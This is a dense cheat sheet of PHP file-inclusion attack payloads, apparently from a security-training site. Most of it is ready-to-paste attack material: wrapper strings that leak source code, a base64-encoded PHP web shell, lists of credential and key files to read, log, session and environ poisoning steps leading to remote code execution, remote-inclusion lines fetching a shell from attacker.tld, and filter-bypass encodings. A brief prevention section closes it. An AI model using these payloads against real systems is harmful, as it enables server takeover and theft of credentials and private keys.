File Inclusion: LFI, RFI, and the Road to RCE
LFI and RFI Cheat Sheet
A dense, copy-pasteable file inclusion reference: PHP wrappers, read targets, log and session poisoning, RFI, filter bypasses, and prevention.
Published
Every file inclusion payload in one place. The core move never changes: get the interpreter to load a file you influence, then either read its source or make it run your code. For the how and why behind each section, start at the file inclusion guide. Lock it in on a free live target.
PHP wrappers
php://filter/convert.base64-encode/resource=index.php read source, base64-encoded (no allow_url_include needed)
php://filter/read=convert.base64-encode/resource=config.php
php://filter/convert.iconv.utf-8.utf-7/resource=index.php alt when base64 filtered (UTF-7, still decode it)
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+ data:// = <?php system($_GET['c']);?> (needs allow_url_include=On)
data://text/plain,<?php system($_GET['c']);?> (needs allow_url_include=On)
php://input POST body becomes the included PHP (needs allow_url_include=On)
expect://id direct command exec (needs the rare expect extension)
zip://shell.zip%23shell.php include a file inside an uploaded zip (%23 = #)
phar://shell.phar/shell.php include inside a Phar (also triggers deserialization)
php://filterchaining can build an entire PHP payload fromconvert.*/iconv.*filters alone, with no file write, turning a read-only filter primitive into RCE on hardened boxes. The chains are long and generated by a tool, not written by hand (needs iconv in the build).
If the include appends a fixed extension (
include($page.".php")), pointresource=at the base name (resource=config, which becomesconfig.php), and note the wrapper only reaches files that already end in the appended extension.
Common read targets
Linux:
/etc/passwd user list, the read-confirm
/etc/shadow password hashes (root-only, usually unreadable)
/etc/hosts
/etc/apache2/apache2.conf /etc/nginx/nginx.conf /etc/httpd/conf/httpd.conf
/proc/self/environ env vars (poisonable on CGI only)
/proc/self/cmdline /proc/self/status process recon
/proc/self/fd/0 .. /proc/self/fd/N open file descriptors (incl. uploaded temps)
/var/log/apache2/access.log /var/log/apache2/error.log
/var/log/nginx/access.log /var/log/httpd/access_log
/var/log/auth.log /var/log/mail /var/log/vsftpd.log
/var/lib/php/sessions/sess_<PHPSESSID> /tmp/sess_<PHPSESSID>
~/.bash_history ~/.ssh/id_rsa .env config.php wp-config.php
Windows:
C:\Windows\win.ini C:\Windows\System32\drivers\etc\hosts
C:\xampp\apache\logs\access.log C:\inetpub\logs\LogFiles\...Log poisoning to RCE
1. Poison a logged header with PHP:
User-Agent: <?php system($_GET['c']); ?>
(Referer, or a 404 path for error.log, also land in logs; pick a field logged raw.)
2. Include the log and pass the command:
?page=/var/log/apache2/access.log&c=id
?page=/var/log/nginx/access.log&c=whoami
Needs: web user can read the log + the format did not mangle the PHP tags./proc/self/environ to RCE (CGI only)
User-Agent: <?php system($_GET['c']); ?>
?page=/proc/self/environ&c=id
Works only when PHP runs as CGI/php-cgi (headers reach the env as HTTP_*).
PHP-FPM does NOT put headers in environ. Modern environ is often owner-read-only.PHP session poisoning to RCE
1. Submit a value the app stores in $_SESSION:
<?php system($_GET['c']); ?>
2. Note your PHPSESSID cookie, then include the session file:
?page=/var/lib/php/sessions/sess_<PHPSESSID>&c=id
?page=/tmp/sess_<PHPSESSID>&c=id
Reliable when logs are locked: you always control your own session file.Remote file inclusion (RFI)
?page=http://attacker.tld/shell.txt&c=id needs allow_url_include=On
?page=http://attacker.tld/shell.txt? trailing ? strands an appended ".php" (preferred)
?page=http://attacker.tld/shell.txt%23 %23 = # similar, but less reliable (fragment may not be stripped)
?page=https://attacker.tld/shell.txt
?page=ftp://attacker.tld/shell.txt
# shell.txt contents:
<?php system($_GET['c']); ?>
data://is NOT a way around a disabled URL include: it is governed by the sameallow_url_includesetting as RFI. If RFI is off,data://code injection is off too.allow_url_includehas defaulted to Off since PHP 5.2 (2006), so RFI is mostly legacy.
Null byte and filter / traversal bypass
Null byte (legacy, < PHP 5.3.4):
?page=/etc/passwd%00
?page=../../../../etc/passwd%00.php
Appended extension: wrapper reads .php SOURCE only (the file already ends in .php):
?page=php://filter/convert.base64-encode/resource=config (append makes it config.php)
# the wrapper does NOT read a non-.php file while .php is appended; use the null byte (legacy) or a no-append sink
Generic ../ string bypasses (same as path traversal, see that cluster):
....//....//etc/passwd non-recursive strip
%2e%2e%2f%2e%2e%2fetc%2fpasswd URL-encoded ../../
%252e%252e%252f double-encoded (decoding proxy/WAF)
..%c0%af..%c0%afetc%2fpasswd overlong UTF-8 "/" (LEGACY)
Path truncation / padding (old PHP):
?page=../../../etc/passwd/././././ ... long pad to drop the appended extensionDetection probes
?page=index does it render? (confirms an include sink)
?page=index.php renders/blank = inclusion; raw <?php source = traversal read
?page=../../../../etc/passwd raw traversal read
?page=php://filter/convert.base64-encode/resource=index source leak = LFI confirmed
?page=/nonexistent error leaks the include path + appended extensionPrevention
- Map a key to a fixed path, never concatenate:
$pages = ['home'=>'home.php']; include $pages[$_GET['page']] ?? 'home.php';. - Allow-list the permitted view names. Reject anything not on the list (do not blacklist
../). basename()andstr_replace("../","")are both bypassable and are not the control.- Disable
allow_url_includeandallow_url_fopento kill RFI anddata:///php://inputcode injection. open_basedirto jail the app. Mount upload, log, and session dirs non-executable so a poisoned file cannot run.- Least privilege: the web user should not read
/etc/shadow, SSH keys, or other apps' sessions. WAF keyword blocks are a speed bump, not a fix.
Full detail in preventing file inclusion. For the read-only side of the family, see path traversal.